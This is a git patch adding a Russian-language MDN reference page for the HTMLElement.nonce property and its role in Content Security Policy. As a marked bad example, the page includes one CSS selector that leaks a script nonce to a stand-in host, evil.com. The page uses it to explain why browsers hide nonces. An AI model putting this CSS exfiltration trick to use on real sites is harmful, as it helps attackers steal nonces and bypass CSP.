From c9c27e2769410597d6aa34800765682940720dab Mon Sep 17 00:00:00 2001 From: Leonid Vinogradov Date: Thu, 7 Dec 2023 19:46:54 +0300 Subject: [PATCH] [ru] add `Web/API/HTMLElement/nonce` document (#17319) [ru] add 'Web/API/HTMLElement/nonce' document --- files/ru/web/api/htmlelement/nonce/index.md | 46 +++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 files/ru/web/api/htmlelement/nonce/index.md diff --git a/files/ru/web/api/htmlelement/nonce/index.md b/files/ru/web/api/htmlelement/nonce/index.md new file mode 100644 index 00000000000000..89b4b79095b945 --- /dev/null +++ b/files/ru/web/api/htmlelement/nonce/index.md @@ -0,0 +1,46 @@ +--- +title: "HTMLElement: свойство nonce" +slug: Web/API/HTMLElement/nonce +l10n: + sourceCommit: a3d9f61a8990ba7b53bda9748d1f26a9e9810b18 +--- + +{{APIRef("HTML DOM")}} + +Свойство **`nonce`** интерфейса {{DOMxRef("HTMLElement")}} возвращает одноразовое криптографическое число используемое в [Content Security Policy](/ru/docs/Web/HTTP/CSP) для определения возможности продолжения обработки запроса. + +В современных реализациях элементы предоставляют свой атрибут `nonce` только скриптам (но не CSS-селекторам, например). + +## Примеры + +### Получение значения nonce + +В прошлом не все браузеры поддерживали IDL-атрибут `nonce`, поэтому было распространено использование [`getAttribute`](/ru/docs/Web/API/Element/getAttribute) в качестве запасного варианта: + +```js +let nonce = script["nonce"] || script.getAttribute("nonce"); +``` + +Современные браузеры не дают получить значения `nonce` таким путём (будет возвращена пустая строка). IDL-свойство (`script['nonce']`) является единственным способом получения `nonce`. + +Скрытие `nonce` помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS: + +```css example-bad +script[nonce~="whatever"] { + background: url("https://evil.com/nonce?whatever"); +} +``` + +## Спецификации + +{{Specifications}} + +## Совместимость с браузерами + +{{Compat}} + +## Смотрите также + +- [Глобальный атрибут `nonce`](/ru/docs/Web/HTML/Global_attributes/nonce) +- [Content Security Policy](/ru/docs/Web/HTTP/CSP) +- CSP: {{CSP("script-src")}}